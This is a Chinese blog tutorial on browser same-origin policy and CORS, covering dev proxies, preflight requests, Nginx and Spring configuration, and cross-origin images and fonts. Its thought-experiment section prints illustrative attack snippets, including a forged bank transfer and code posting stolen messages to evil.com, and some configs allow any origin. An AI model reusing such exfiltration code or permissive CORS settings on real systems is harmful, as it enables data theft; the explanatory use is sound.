跨域这件事,其实浏览器在替你挡刀

0. 写在前面

先说几个我踩过的坑,看看你有没有同感:

  • Postman、curl 都能通,一换浏览器就跨域
  • GET 好好的,改成 DELETE 突然就报错了
  • 前端开发时打开 F12,Network 里根本看不到真实的后端 IP

如果这些都碰到过,这篇就是写给你看的。

说明一下:文中出现的 IP、端口都是我本地环境,你照着自己机器换就行。

1. 先搞懂"同源"

同源就是协议、域名、端口三个全一样,缺一不可。

text 复制代码
https://a.com:443/api
 ├─ protocol: https ✅
 ├─ host:     a.com ✅
 └─ port:     443  ✅

下面这几个都算"不同源":

text 复制代码
http://a.com        ❌ 协议不同
https://api.a.com   ❌ 域名不同
https://a.com:8080  ❌ 端口不同

你可以把同源策略理解成小区门禁:你住 A 栋(前端),默认不能随便进 B 栋(后端)拿东西。

2. 为什么 Postman 能通,浏览器不行

这个误解太常见了。其实不是后端拦的,而是后端回了、浏览器把响应扔了

关键区别看这张图:

  • curl / Postman 不是浏览器,根本不走同源策略,所以畅通无阻
  • 浏览器里由 JS 发起的请求,必须经过 CORS 检查
  • 很多时候请求已经到了后端,甚至逻辑都执行完了,只是浏览器不让 JS 读响应

所以排查的第一步永远是:先用 curl / Postman 确认后端本身是好的。

3. F12 里为什么看不到后端 IP

开发时用的是 Vite,请求链路其实是这样的:

sequenceDiagram participant B as 浏览器 participant V as Vite 开发服务器 participant S as 后端 Spring Boot B->>V: GET /api/scenery/list Note over B,V: F12 里只能看到这一跳 V->>S: GET /scenery/list Note over V: 转发到 172.16.1.163:8080 S-->>V: 返回数据 V-->>B: 返回数据

浏览器只跟 Vite 打交道,后面的转发对它完全透明。所以你在 Network 里看到的是:

text 复制代码
http://localhost:5173/api/scenery/list

而不是真实的后端地址。Vite 在这里就相当于一个中间人。

想确认代理有没有生效,可以在 vite.config.js 里加点日志:

javascript 复制代码
// vite.config.js
proxy: {
  '/api': {
    target: 'http://172.16.1.163:8080',
    changeOrigin: true,
    rewrite: (path) => path.replace(/^\/api/, ''),
    configure: (proxy) => {
      proxy.on('proxyReq', (proxyReq, req) => {
        console.log('代理转发:', req.url, '→', proxyReq.path);
      });
    }
  }
}

终端里能看到 代理转发: /api/scenery/list → /scenery/list,说明转发成功了。

可以看到,Vite 和 Nginx 在转发这件事情上,本质一样

text 复制代码
浏览器 → 代理 → 后端

浏览器只跟代理说话,代理负责把请求转给后端,再把响应拿回来。浏览器从头到尾看不到后端真实地址,所以"同源"了,CORS 不触发。

Vite 开发服务器Nginx​ 在这一层上,角色完全相同。

4. 如果没有同源策略会怎样

很多人觉得跨域只是报个错,好像无所谓。我们做个思想实验:假设浏览器完全没有同源策略

前提:evil.com 是恶意网站,bank.com 是你登录过的银行,两者源不同,正常情况下被隔离。没有这层隔离,下面三种攻击都能真实发生。

案例一:钱被悄悄转走

你登录了 https://bank.com,Cookie 还在。这时打开 https://evil.com

javascript 复制代码
fetch('https://bank.com/api/transfer', {
  method: 'POST',
  credentials: 'include',  // Cookie 自动带上
  body: JSON.stringify({ to: 'attacker', amount: 1000000 })
})

100 万直接转走,你完全无感。这就是 CSRF。

CSRF,全称 Cross-Site Request Forgery,中文叫跨站请求伪造

案例二:私信、邮件被扒光

javascript 复制代码
fetch('https://mail.com/api/private-messages')
  .then(res => res.json())
  .then(data => {
    // 把你的私信发到攻击者自己的服务器
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });

更麻烦的是攻击者还能用你的身份发消息、改密码、删数据,因为 Cookie 会自动随请求发送。

案例三:Cookie / Token 被读写

没有同源策略时,evil.com 不仅能读,还能写:

javascript 复制代码
document.cookie;  // 能读到 bank.com 的 Cookie
document.cookie = "session=伪造的; domain=.bank.com";  // 还能篡改

攻击者拿到登录凭证,就能完全冒充你。现实中这类攻击就是 XSS + 缺少同源隔离的经典组合。

三个案例本质是一样的:

案例 攻击方式 后果
冒充你发起请求 资金损失、数据被删
读取私密数据 隐私泄露
窃取/篡改身份凭证 身份被冒用

所以 CORS 不是来烦你的,是来保命的。它的原则就一句话:默认拒绝,显式授权。你想从 A 读 B 的数据?可以,但必须 B 明确点头(返回 CORS 头)才行。

5. DELETE 为什么跨域,GET 却没事

先把浏览器处理跨域的完整流程说清楚:

什么是简单请求

要成为"简单请求",三个条件必须同时满足

  • 方法只能是 GET / HEAD / POST
  • Content-Type 只能是 text/plainapplication/x-www-form-urlencodedmultipart/form-data 三者之一
  • 不能带自定义请求头(如 AuthorizationX-Requested-With

三条全中 → 简单请求,不预检。

什么是非简单请求

只要触发以下任意一条就是非简单请求:

  • 方法不是 GET/HEAD/POST(PUT、DELETE、PATCH 等)
  • Content-Typeapplication/jsonapplication/xml 等非表单类型
  • 带了自定义请求头

触发任意一条 → 非简单请求,必须先发 OPTIONS 预检。

常见场景对照:

请求方式 是否简单 是否预检
GET,无自定义头
POST,application/x-www-form-urlencoded
POST,application/json
GET,带 Authorization
DELETE
PUT

回到标题的问题

DELETE 属于非简单请求,浏览器会先发 OPTIONS 问后端:"你允许 DELETE 吗?"

如果后端没正确处理 OPTIONS,或者响应头里缺了:

text 复制代码
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Origin: *

浏览器就拦截真实请求,控制台报 CORS 错误。

所以 DELETE 跨域报错,多半是:

  • 后端没处理 OPTIONS 预检
  • 响应头缺 Access-Control-Allow-Methods: DELETE
  • 根本没配 CORS

而 GET 默认是简单请求,不用预检,只要后端带了 Access-Control-Allow-Origin 就能正常返回。

但要注意:GET 不一定永远不跨域。 一旦带了自定义头,比如:

javascript 复制代码
fetch('https://api.example.com/data', {
  headers: { 'Authorization': 'Bearer xxx' }
})

GET 也变成非简单请求了,同样会预检、同样会报错。

更准确的表述应该是:

不是"GET 不跨域、DELETE 跨域",而是"简单请求不预检,非简单请求必预检"。DELETE 一定是非简单请求,GET 多数情况下是,但带了自定义头就不是了。

6. OPTIONS 预检长什么样

浏览器自动发的预检请求:

http 复制代码
OPTIONS /api/orders/123 HTTP/1.1
Origin: http://localhost:5173
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization

后端必须这样回:

http 复制代码
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: http://localhost:5173
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Max-Age: 3600

不回的话,浏览器直接一句 Blocked by CORS policy

7. 我踩过的坑

先放一张我的部署架构:

我当时想当然以为:"Nginx 都反向代理了,肯定同源,CORS 不用配。"结果:

text 复制代码
浏览器 DELETE /api/orders/123 → 403
curl   DELETE /api/orders/123 → 204

真相只有一句:Nginx 反向代理 ≠ 自动解决 CORS。

前端访问的域名和后端允许的来源对不上,浏览器照样拦。

排查过程:

第一步:确认后端逻辑没问题

bash 复制代码
curl -X DELETE http://127.0.0.1:8680/api/orders/123 -v
# 返回 204,说明后端逻辑是通的

第二步:看浏览器 Console

text 复制代码
Access to fetch at 'http://192.168.9.115:3680/api/orders/123'
from origin 'http://192.168.9.14'
has been blocked by CORS policy:
Method DELETE is not allowed by Access-Control-Allow-Methods.

第三步:定位原因

Spring Boot 默认的 CORS 配置只放行 GETPOSTHEAD,不包含 DELETEPUT。浏览器发 OPTIONS 预检时后端没明确允许 DELETE,于是被拦。

8. 跨域三大解法

按"在哪一层解决"来分,看这张总图:

一句话记忆:要么让浏览器以为同源(代理),要么让服务器明确放行(CORS)。

方案一:开发环境用 Vite 代理(推荐)

javascript 复制代码
// vite.config.js
server: {
  proxy: {
    '/api': {
      target: 'http://172.16.1.163:8080',
      changeOrigin: true,
      rewrite: p => p.replace(/^\/api/, '')
    }
  }
}

前端请求 /api/data,Vite 转发到后端,浏览器看到的是同源请求,不触发 CORS。

注意几点:

  • 代理只在 npm run dev 下生效
  • 生产环境(Nginx 托管)下代理配置无效
  • axiosbaseURL 可定义公共路径前缀

方案二:生产环境用 Nginx 同域代理

nginx 复制代码
location /api/ {
    proxy_pass http://127.0.0.1:8680/;
    proxy_set_header Host $host;
}

前端访问 https://example.com/api/...,浏览器认为是同源,不触发 CORS。

如果前端和后端是不同域名,还需要在 Nginx 加 CORS 响应头:

nginx 复制代码
location /api/ {
    add_header 'Access-Control-Allow-Origin' '*' always;
    add_header 'Access-Control-Allow-Methods' 'GET,POST,PUT,DELETE,OPTIONS' always;
    add_header 'Access-Control-Allow-Headers' 'Content-Type,Authorization' always;

    if ($request_method = 'OPTIONS') {
        return 204;
    }

    proxy_pass http://127.0.0.1:8680/api/;
}

方案三:后端配置 CORS(跨域部署时)

Spring MVC 方式:

java 复制代码
@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
                .allowedOriginPatterns("*")
                .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
                .allowedHeaders("*")
                .allowCredentials(true)
                .maxAge(3600);
    }
}

Spring WebFlux 方式(响应式栈):

java 复制代码
@Configuration
public class CorsConfig {
    private static final String MAX_AGE = "18000";

    @Bean
    public WebFilter corsFilter() {
        return (ServerWebExchange ctx, WebFilterChain chain) -> {
            ServerHttpRequest request = ctx.getRequest();
            if (!CorsUtils.isCorsRequest(request)) {
                return chain.filter(ctx);
            }
            HttpHeaders requestHeaders = request.getHeaders();
            ServerHttpResponse response = ctx.getResponse();
            HttpHeaders headers = response.getHeaders();

            headers.add(HttpHeaders.ACCESS_CONTROL_ALLOW_ORIGIN, requestHeaders.getOrigin());
            headers.addAll(HttpHeaders.ACCESS_CONTROL_ALLOW_HEADERS,
                          requestHeaders.getAccessControlRequestHeaders());
            HttpMethod requestMethod = requestHeaders.getAccessControlRequestMethod();
            if (requestMethod != null) {
                headers.add(HttpHeaders.ACCESS_CONTROL_ALLOW_METHODS, requestMethod.name());
            }
            headers.add(HttpHeaders.ACCESS_CONTROL_ALLOW_CREDENTIALS, "true");
            headers.add(HttpHeaders.ACCESS_CONTROL_EXPOSE_HEADERS, "*");
            headers.add(HttpHeaders.ACCESS_CONTROL_MAX_AGE, MAX_AGE);

            if (request.getMethod() == HttpMethod.OPTIONS) {
                response.setStatusCode(HttpStatus.OK);
                return Mono.empty();
            }
            return chain.filter(ctx);
        };
    }
}

不要 Nginx 配一套、后端又配一套,否则响应头可能出现:

text 复制代码
Access-Control-Allow-Origin: a.com, b.com

浏览器根本没法处理,直接报错。


安全建议

生产环境不要用 *

java 复制代码
// ❌ 不安全:任何网站都能调你的 API
.allowedOriginPatterns("*")

// ✅ 指定具体域名
.allowedOrigins(
    "http://your-domain.com",
    "https://your-domain.com"
)

有个细节:Access-Control-Allow-Credentials: true 时,Access-Control-Allow-Origin 不能写 *,必须指定具体源,否则浏览器会拒绝响应。

实际项目里常用"动态回显 Origin"的做法:取请求的 Origin 判断是否在白名单里,命中就原样返回。这样既支持携带 Cookie,又比 * 安全。

9. 排查跨域的标准步骤

  1. 确认后端逻辑正常:先用 curl 测接口
  2. 看浏览器 Console:F12 → Console,读 CORS 错误信息
  3. 看 Network:F12 → Network,检查 OPTIONS 预检是否成功
  4. 看服务器日志:Nginx 和后端都查一下

验证预检请求:

bash 复制代码
curl -X OPTIONS http://your-domain.com/api/orders/test \
  -H "Origin: http://your-domain.com" \
  -H "Access-Control-Request-Method: DELETE" \
  -v

正常的话响应头应包含:

http 复制代码
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS

10. 番外:跨域不止是接口

前面讲的都是 API 的跨域(fetch / axios / XHR),但跨域的边界比这广得多:只要浏览器加载跨源资源,都可能触发 CORS 或安全限制。

图片、字体、视频、音频、Canvas 绘图、WebGL 纹理、Worker 脚本都在内。其中最容易踩坑的就是图片跨域。

10.1 图片是怎么"跨域"的

很多人以为 <img> 随便引不会跨域,其实只对了一半:

使用方式 是否受 CORS 限制
<img> 直接显示
CSS background-image
用 JS 画到 <canvas>
读取 <img> 像素数据
转 Base64 / Blob / 像素操作

<img src="http://其它域名/1.jpg"> 能正常显示,就像你看邻居家的海报,浏览器允许。但你想用 JS 把海报拓印到 canvas 上再读像素,这就相当于复制,浏览器会要求 CORS 头。

典型报错:

text 复制代码
Access to image at 'http://xxx/1.jpg' from origin 'http://localhost:5173' 
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present.

触发代码:

javascript 复制代码
const img = new Image();
img.src = 'http://172.16.1.163:8080/photo.jpg';
img.onload = () => {
  ctx.drawImage(img, 0, 0);
  ctx.getImageData(0, 0, w, h); // 读像素 → 报错
};

解决办法:给图片带上 CORS 凭证。

javascript 复制代码
const img = new Image();
img.crossOrigin = 'anonymous'; // 以 CORS 方式请求
img.src = 'http://172.16.1.163:8080/photo.jpg';
// 后端 / Nginx 也要返回 Access-Control-Allow-Origin

只有加了 crossOrigin,浏览器才会对图片发带 CORS 头的请求;后端也要配合返回允许头,否则照样报错。

10.2 字体、视频、Worker

  • Web 字体(@font-face) :跨域加载字体要求 Access-Control-Allow-Origin,否则不渲染,Firefox 尤其严格
  • 视频 / 音频<video> 播放一般不限制,但用 MediaSource / Canvas 捕获帧时会受限
  • Web Worker / SharedWorker:跨域加载脚本会被拒绝
css 复制代码
@font-face {
  font-family: 'MyFont';
  src: url('http://cdn.example.com/myfont.woff2') format('woff2');
}

Nginx 里给静态资源统一加头:

nginx 复制代码
location ~* \.(woff2?|ttf|eot|otf)$ {
    add_header 'Access-Control-Allow-Origin' '*' always;
}

10.3 实战:本地打开 HTML 时图片怎么显示

我们使用AI,生成一些html页面时,常常碰到这样的问题:图片显示不出来

其实是因为,图片也存在跨域问题

同一个 HTML 用不同方式打开,结论完全不同。目录结构假设如下:

matlab 复制代码
project/
├── index.html
├── images/
│   └── cat.jpg
└── app.js

两种引入方式:

html 复制代码
<img src="images/cat.jpg" />
<img src="http://localhost:5173/images/cat.jpg" />

实验一:双击 index.html(file:// 协议)

此时源是 null,属于最特殊的场景:

引入方式 能否显示 说明
相对路径 images/cat.jpg 和 HTML 同目录,file:// 下默认放行
绝对路径 http://localhost:5173/... null 源访问 http:// 源,跨域
远程绝对路径 https://xxx.com/cat.jpg 同上,还受远程服务器 CORS 控制

核心认知:file:// 下相对路径是同目录文件访问,能用;一旦写成指向 http(s) 的绝对路径,就变成跨源请求,受 CORS 限制。

实验二:本地服务器打开(http://localhost:5173)

npx http-server / vite / live-server 启动后访问:

引入方式 能否显示 canvas 读像素
相对路径
同域绝对路径
远程 https://xxx.com/cat.jpg

实验三:部署到服务器

场景 能否显示 canvas 读像素
同源 https://mysite.com/img/cat.jpg
跨域 CDN(无 CORS 头)
跨域 CDN(有 CORS 头 + crossOrigin)

三种打开方式对比:

打开方式 页面 Origin 相对路径本地图 指向 localhost 指向远程
双击(file://) null
本地服务器 http://localhost:5173 ❗ 显示可 / 读像素 ❌
生产服务器 https://mysite.com ❗ 同上

判断图片会不会跨域,三步:

  1. 看页面 Origin 是什么(file:// ? localhost ? 域名 ?)
  2. 看图片地址相对谁(相对路径 = 跟着页面走,基本同源)
  3. 看你要拿图片干什么(只显示宽松;canvas / 像素 / 复制严格,必须 CORS)

10.4 常见报错与解法

报错 1:canvas 读像素被拦

text 复制代码
Uncaught SecurityError: The canvas has been tainted by cross-origin data.

解法:img.crossOrigin = 'anonymous',并确保图片服务器返回 CORS 头。

报错 2:file:// 下请求 http 资源失败

text 复制代码
Blocked loading mixed active content / CORS

解法:别用 file:// 直接开发,起一个本地服务器(vite / http-server),让页面和图片同源。

报错 3:字体不生效(尤其 Firefox)

解法:CDN / 字体服务器返回 Access-Control-Allow-Origin

10.5 最佳实践清单

  • 开发阶段:用 Vite / http-server 起本地服务,不要双击 HTML,避开 file:// 的跨域陷阱
  • 图片只做展示<img> / background-image 跨域一般没问题
  • 图片要 canvas 处理 / 转 Base64 / 读像素 :必须 img.crossOrigin = 'anonymous' + 服务器 CORS 头
  • 能用相对路径就用相对路径:部署后天然同源
  • CDN 图片 :确保 CDN 配了 Access-Control-Allow-Origin,前端加 crossOrigin
  • 字体文件:CDN 字体务必返回 CORS 头,否则 Firefox 下不渲染

10.6 跨域的完整边界

CORS 影响的远不止 API,用一张图梳理:

mindmap root((跨域 CORS 同源策略)) API请求 fetch / axios XHR 静态资源 图片 字体 视频 音频 canvas读像素 JS / Worker 跨域脚本 Web Worker DOM / 存储 iframe跨域访问 localStorage cookie
  • API 请求:fetch / axios、XHR
  • 静态资源:图片、字体、视频、音频、canvas 读像素
  • JS / Worker:跨域脚本、Web Worker
  • DOM / 存储:iframe 跨域访问、localStorage、cookie

一句话:凡是有跨源读取/操作的地方,就有 CORS 的影子。

速记口诀:

  • 只看不读<img> 显示、<video> 播放)→ 宽松
  • 要读/复制/操作(canvas 像素、字体解析、Worker)→ 严格,必须 CORS 头
  • DOM / 存储 (iframe、cookie)→ 需同域或 postMessage / 显式授权

11. 总结

CORS 不是"请求发不出去",而是:

  • 浏览器问:这个响应 JS 能不能读?
  • 后端答:这个 Origin 我认不认?

记住三句话就够了:

  1. 同源策略是浏览器在保护用户
  2. 代理是让浏览器误以为同源
  3. CORS 是后端给浏览器发的访客通行证

12. 参考资料

相关推荐
sbjdhjd1 小时前
ThinkPHP 5.0.10 缓存写入型 RCE 复盘:从手动搭建、换行绕过到源码单步验证 | 05
java·后端·安全·spring·网络安全·数据挖掘·php
LEE1 小时前
Agent 的控制权,为什么正在回到模型手里?
前端·后端
用户298698530141 小时前
Python 将 Word 文档转换为图片的实践指南
后端·python·api
十年一梦惊觉醒1 小时前
快手视频发布助手,全自动视频发布带货工具
开发语言·前端·javascript
Solara1 小时前
中文字体子集化实录:3.2MB → 200KB 的完整脚本、踩坑清单与三条反直觉经验
前端·css·架构
旺仔不是程序员1 小时前
致命索引失效:索引列运算与函数索引不匹配
数据库·后端·面试
老孙讲技术1 小时前
把连锁门店轮询抓拍和遮挡叫醒接进督导台-setDeviceSnapEnhanced与setMessageCallback
后端·物联网·音视频开发
Htr_1 小时前
Cortex 使用指南:开源 API 知识层
前端·数据库·人工智能·重构·计算机外设
计算机魔术师1 小时前
Dario Amodei 发文呼吁 AI 行业放慢前沿速度并公布三步计划
前端